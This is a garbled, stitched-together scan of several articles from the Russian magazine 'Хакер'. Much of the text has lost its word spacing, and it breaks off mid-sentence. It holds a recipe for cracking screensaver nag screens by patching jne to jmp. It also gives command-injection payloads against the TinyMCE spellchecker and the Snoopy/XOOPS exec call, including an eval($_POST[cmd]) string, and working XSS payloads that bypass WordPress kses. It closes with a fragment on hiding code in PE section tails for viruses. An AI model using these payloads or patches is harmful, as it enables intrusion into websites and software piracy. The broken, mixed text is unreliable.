книги хакеры / журнал хакер / 121_Optimized

Типичный цикл выборки сообщений 3D-программ

функция визуализации (RenderFunc — так я ее обзываю в IDA) должна заканчиваться API-функцией SwapBuffers или glutSwapBuffers, если прога использует библиотеку-пос- редника glut, но обычно более-менее серьезный софт под Windows библиотеки-посредники не используют. Что делает SwapBuffers, видно из ее названия. Когда в один буфер происходит рисование, содержимое другого отображается на экране, а функция меняет их местами (в общем, она нужна для анимации). Ищем SwapBuffers и находим:

extrn SwapBuffers:dword

;DATA XREF: sub_406320+281

;sub_417379+6FC

Всего два вызова, заглянем в каждый. Лично мне понравился второй:

Так как нехорошо показывать НАГ зарегистрированному пользователю, логично предположить, что в любой проге с НАГом должен быть механизм его обхода. Можно не затирать функции НАГа, а найти этот механизм и «выломать из него шестеренку». Итак, мне понравился условный переход по адресу 0x00417A41, который обходит вызов функции sub_4065BB. Заглянем сюда и увидим, что здесь вызывается и наш Call_Ortho, и glColor4f, и glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ ALPHA), и много других интересных функций, о которых можно почитать в мануалах по OpenGL, щедро разбросанных по Сети. Обойдем вызов sub_4065BB путем классического 75EB. Шестнадцатеричное представление АСМ команды jne 000417a54 (7511) меняем 7511 на

EB11. Теперь условный переход (в зависимости от значения

ECX) становится безусловным Jmp. Запускаем и убеждаемся, что «шестеренка выломана», а механизм вывода НАГа работает как надо.

Перспективный DirectX

Заходим в первую sub_401110, вызываемую из 0x00403C3D, — и видим, кроме API-функций (ExtTextOut, SetTextColor...), работающих с текстом, еще и ссылки на знакомые до боли строки «UNREGISTERED VERSION!», «Press the space bar to find out». Ничего не напо-

минает? Это и есть функция, рисующая НАГ. Теперь зайдем в sub_ 401390 из 0x00403C44. Там ты тоже увидишь ссылку на интересную строку «Remaining time: %u sec.». Все ясно — это функция-таймер, отвечающая также и за его отображение. На основании исследований делаем заключение — для нормального функционирования скринсейвера обе функции не нужны, соответственно, Jnz под номером (1) наш искомый переключатель в мир лицензионного софта; далее классика:

75  EB.

Следующий пример про Атлантиду — «Atlantis3DScreensaver». Ищем цикл выборки сообщений с помощью вышеописанного способа, быстро ее находим (начинается с 0x0042414F). Ежу понятно, что единствен-

ный вызов собственной функции (не WinAPI) — это On_Idle(адрес вызова 0x004241B3). Заходим в нее в поисках RenderFunc. Привычно спускаемся вниз и... обламываемся:

0042839A call dword ptr [eax+4Ch]

Где искать эту функцию? Для начала надо разобраться, что у нас в EAX. Поднимаемся немного выше по коду:

то далее ищем что в var_C, ползем в самое начало On_Idle: 004281CC mov [ebp+var_C], ecx ;Инициализация вре-

менной переменной [ebp+var_C] извне On_Idle

Чтоб разобраться, что находится в ECX, придется подниматься еще выше, т.е. вернуться назад в цикл выборки сообщений и посмотреть, что делается с ECX.

004241AD mov ecx, [ebp+var_4C8] ;Присваивание ECX

значением из временной переменной

Посмотрел? Тогда продолжаем подниматься выше по коду:

00423EA4 mov [ebp+var_4C8], ecx ;Инициализация временной переменной [ebp+var_4C8] из вне sub_423E9B

Опять этот ECXи опять нужно выходить из функции (sub_423E9B) наверх. В общем, скоро ты всплывешь здесь:

Маг

/ icq 884888, http://wap-chat.ru /

Коварнаяорфография

Вкачествепервогопримеранайденнойуязвимостирасскажуоcodeexecв модулепроверкиорфографиипопулярногоWYSIWYG-редактораTinyMCE. ЭтотмодульвместессамимTinyMCEиспользуется,например,втаком продукте,какWordPressверсий2.0.x-2.7.xинаходитсяподефолтув

./wp-includes/js/tinymce/plugins/spellchecker.Проверка орфографииможетосуществлятьсятремяразличнымиметодами:спомо- щьюсоответствующегосервисаGoogle,спомощьюPHP-модуляPSpell,с помощьювнешнейwin-иnix-утилитыaspell.

Вконфигемодуля config.phpкакразипрописываетсяметодпроверки:

<?php

$config['general.engine'] = 'GoogleSpell'; //$config['general.engine'] = 'PSpell'; //$config['general.engine'] = 'PSpellShell';

...

$config['PSpellShell.mode'] = PSPELL_FAST; $config['PSpellShell.aspell'] = '/usr/bin/aspell'; $config['PSpellShell.tmp'] = '/tmp';

...

?>

Каквидишь,подефолтустоитпроверкачерезГугл,поэтомууязвимость можетзатронутьредкиедвижкисTinyMCE.Темнеменее,раскоммен-

тируйстрочку$config[‘general.engine’] = ‘PSpellShell’;и

закомментируйпроверкуГуглом.

Теперьдальше.Взаимодействиесоспеллчекеромпроисходитчерез RPC-интерфейс(нововведениепоявилосьв3версииTinyMCEи2.5вер- сииWordPress,раньшевсебылопроще—передачапараметровPOSTи GET-пакетами).

Самауязвимость—вотсутствиидолжнойфильтрациипараметраlang присоставлениипараметровкомандыдляконсольнойутилитывфайле

./wp-includes/js/tinymce/plugins/spellchecker/classes/ PSpellShell.php:

function _getCMD($lang) { $this->_tmpfile = tempnam(

$this->_config['PSpellShell.tmp'], "tinyspell"); if(preg_match("#win#i", php_uname()))

return $this->_config['PSpellShell.aspell'] .

" -a --lang=". $lang . " --encoding=utf-8 -H < "

. $this->_tmpfile . " 2>&1";

Использование обратных кавычек в шелле

return "cat ". $this->_tmpfile ." | " . $this->_ config['PSpellShell.aspell']

. " -a --encoding=utf-8 -H --lang=". $lang;

}

Дляпередачинужнойнамevil-командывуязвимыйкласснадознать синтаксисJSON-запросов.POST-пакет,которыйнеобходимопередатьв скриптrpc.php,будетпримерноследующим:

{"method":"getSuggestions","params":["en; ТВОЯ_EVIL_КО-

МАНДА"]}

Эксплойт,думаю,напишешьсам:).Пораперейтикуязвимостямпосерьезнее.

ДобрыйпесикСнупи

Крометого,чтотакзовутпесикаизмультфильмаУильямаХанныиДжо- зефаБарберы,Snoopy—этоещеиPHP-класс,эмулирующийработубрау- зера.Онпозволяетполучатьсодержимоестраницыиотправлятьданные форм,поддерживаетпрокси,переадресациюикукисы.Какподсказывает поискГуглапоопенсорсу(http://google.com/codesearch),этотклассюзаютWordPress,TikiWiki,Xoopsидругие,менеепопулярные,движки. Рассмотримподробнофункцию_httpsrequest():

function _httpsrequest($url,$URI,$http_method, $content_type="",$body="")

{

...

$safer_URI = strtr( $URI, "\"", " " ); // strip quotes from the URI to avoid shell access

exec($this->curl_path." -D \”$headerfile\ "".$cmdline_params." \"".$safer_URI.""\ "",$results,$return);

...

}

ВWordPressфункцияпропатченасамимиразработчикамиспомощью escapeshellcmd.Надеюсь,тыначалпониматьходмысли?

1.Мывнедряемevil-кодвпараметр$URI,которыйпередаетсявуязви- муюфункцию;

2.Нашevil-коддолженвыполнитьсяспомощьюexec.

Нокак,спросишьты,будетвыполнятьсякод,еслирежетсядвойная кавычка,безкоторойневозможнопередатьдальнейшуюпоследовательностькомандвнеопределенногоаргумента?Оченьпросто!

Командныеинтерпретаторыподдерживаютхитруюпоследовательность командвдвойныхкавычкахчерезbackticks(обратныекавычки).Выполниусебянашеллеследующийкод:

echo "'id'"

На экране ты должен увидеть не просто надпись 'id', а полноцен-

ный вывод команды id. Исходя из полученной информации, рассмотрим подробную эксплуатацию уязвимости на примере популярной цмски XOOPS.

Выгуливаемпса

Итак,качайxoops-1.3.10софициальногосайтапроекта(ссылкуищив сносках)иследизапроцессомреверсивногоизучениядвижка:

1.СамСнупинаходитсяв ./html/class/snoopy.class.php,уяз-

вимаяфункция _httpsrequest() вызываетсячерездругуюфункцию fetch();

2.Далееидемвфайл ./class/phpsyndication.lib.php ивидим следующийкод:

require(XOOPS_ROOT_PATH."/class/snoopy.class.php");

...

function getData($forcecache=false)

{

...

$snoopy = new Snoopy;

...

$snoopy->fetch($this->sourceUrl); $data = $snoopy->results;

...

}

function getHtml($fromcache=false)

{

$data = $this->getData($fromcache);

...

function getTitle($fromcache=false)

{

$data = $this->getData($fromcache=false);

Запоминаемфункции getTitle() и getHtml();

3.Идемвфайл./html/modules/headlines/blocks/headlines. php ивидимвнемтакойкод:

<?php

...

include(XOOPS_ROOT_PATH."/class/phpsyndication.lib. php");

...

$result = $xoopsDB->query("SELECT hid, sitename, url, headlinesurl, status FROM ".$xoopsDB-> prefix("headlines").

" WHERE status=1 OR status=2");

...

$block['content'] .= "<b>".$synd->getTitle()."</b><br />”";

$block['content'] .= $synd->getHtml();

...

?>

Логотип Snoopy

'mod/forum/post.php' => array('name'), 'mod/glossary/approve.php?id=1' => array('hook'), 'mod/wiki/admin.php' => array('page'),

Сплойтвсего-навсегопередаеткнимстроку:

$value = '<img src=http&{${eval($_POST[cmd])}};:// target.ru>';

Гдевeval()ивыполняетсяпроизвольнаякоманда:).Ноостанавливаться наcodeexecнестоит,подошлаочередьXSS.Впрошлогоднейстатье«ТроянскийконьвphpMyFaq»яописывал,какспомощьюXSSвksesможно похекатьВордпресс.Теперьжеостановлюсьнаэтомподробней.

XSSиособенностибраузеров

Заботливыеразработчикиksesпредусмотрелидлянашегобрата выполнениеjavascriptпутемобходафильтрациивфункцииkses_bad_ protocol_once2().Достигаетсяэтовставкойпропущенныхчерез urldecode() символов%0B (дляОперыиОсла)и %08(дляФайрфокса). ВотнебольшойPoC(работаетвВордпрессеприпостингекомментария):

Так выглядело бы выполнение кода в WP с помощью kses

XSS в WordPress kses

(Opera) <a href="%0Bjavascript:alert(document. domain)">lol</a>

(Firefox) <a href='%08data:text/html;base64,PHNjcmlwdD5 hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ%2B'>test</a>

Но и это еще не все! В некоторых движках в kses доступен атрибут style, а kses не очень подготовлен к защите от XSS, внедренных в CSS. Рабочий эксплойт под такой конфиг выглядел бы следующим образом:

(Firefox) <a style=" ;\2d\6d\6f\7a\2d\62\69\6e\64\69\ 6e\67: \75\72\6c(\68\74\74\70\3a\2F\2F\68\61\2E\63\6B\ 65\72\73\2E\6F\72\67\2F\78\73\73\6D\6F\7A\2E\78\6D\6C \23\78\73\73)" href="http://example.com">test</a>

Злоключение

Использованиехалявныхклассовиразработокдодобранедоводит. Советуютебепринаписаниисобственныхскриптовлибосамомуписать нужныеклассы,либотщательнопроверятьопенсорскаквручную,таки поadvisoryвбагтреках,коихбесчисленноемножество.z

Крис Касперски

Энциклопедия

антиотладочных

приемов

Сокрытиекодавхвостахсекций

дящим под кодовым названием Potable Executable (или, сокращенно, PE). Спецификации на него доступны всем

желающим. Для разработчиков линкеров, отладчиков, дизассемблеров и прочего «фирменного» инструментария спецификации — это Коран (Библия, Тора — нужное подчеркнуть). Вот только живая операционная система спецификаций не придерживается и местами ведет себя совсем не так, как следует из документации.

Создатели вирусов ведут масштабные раскопки ntoskrnl.exe, отыскивая различия реализаций системного загрузчика и дизассемблеров/отладчиков/антивирусов. Конечно, никаких гарантий, что найденная багофича сохранится в последующих версиях Windows (не говоря уже за эмуляторы типа wine) у нас нет, но если действовать с умом, то можно писать не только надежные вирусы и коммерческие приложения.

А сейчас на мгновение (грозящее растянуться в минуты или даже часы) оторвемся от статьи и попробуем взломать относительно

несложный crackme (kpnc.org/ftp/KedaH3.zip), используя любой инструмент по вкусу (IDA Pro, OllyDbg, HIEW, etc). После чего можно продолжить чтение, ведь когда решение известно — ломать становится неинтересно.

дисковые данные в виртуальную память. В результате, каждая секция имеет два набора атрибутов: один описывает образ секции на диске, другой — ее проекцию в памяти. Физический (physical) размер секции на диске может отличаться от виртуального (virtual). Если виртуальный размер больше физического, система автоматически инициализирует «хвост» секции нулями, о чем осведомлены линкеры и компиляторы, генерирующие более компактные PE-файлы, — что является общепринятой нормой и хорошим тоном. Обратная ситуация (когда виртуальный размер меньше физического) встречается намного реже, но все-таки встречается, когда приложение хочет прицепить оверлей или другие данные, с которыми предполагается работать посредством прямого дискового ввода/вывода без загрузки в память.

На самом деле, спецификация не гарантирует, что остаток (Virtual Size

— Physical Size) останется на диске. Никто ведь не запрещает грузить «хвост» секции в память, особенно если он укладывается в гранулярность выравнивания, определенную в PE-заголовке. Допустим, физический размер секции составляет 10h байт, виртуальный — 100h, а выравнивание на диске/в памяти — 1000h. Система, очевидно, не может прочитать 10h байт с диска. Вместо этого она читает всю страницу цели-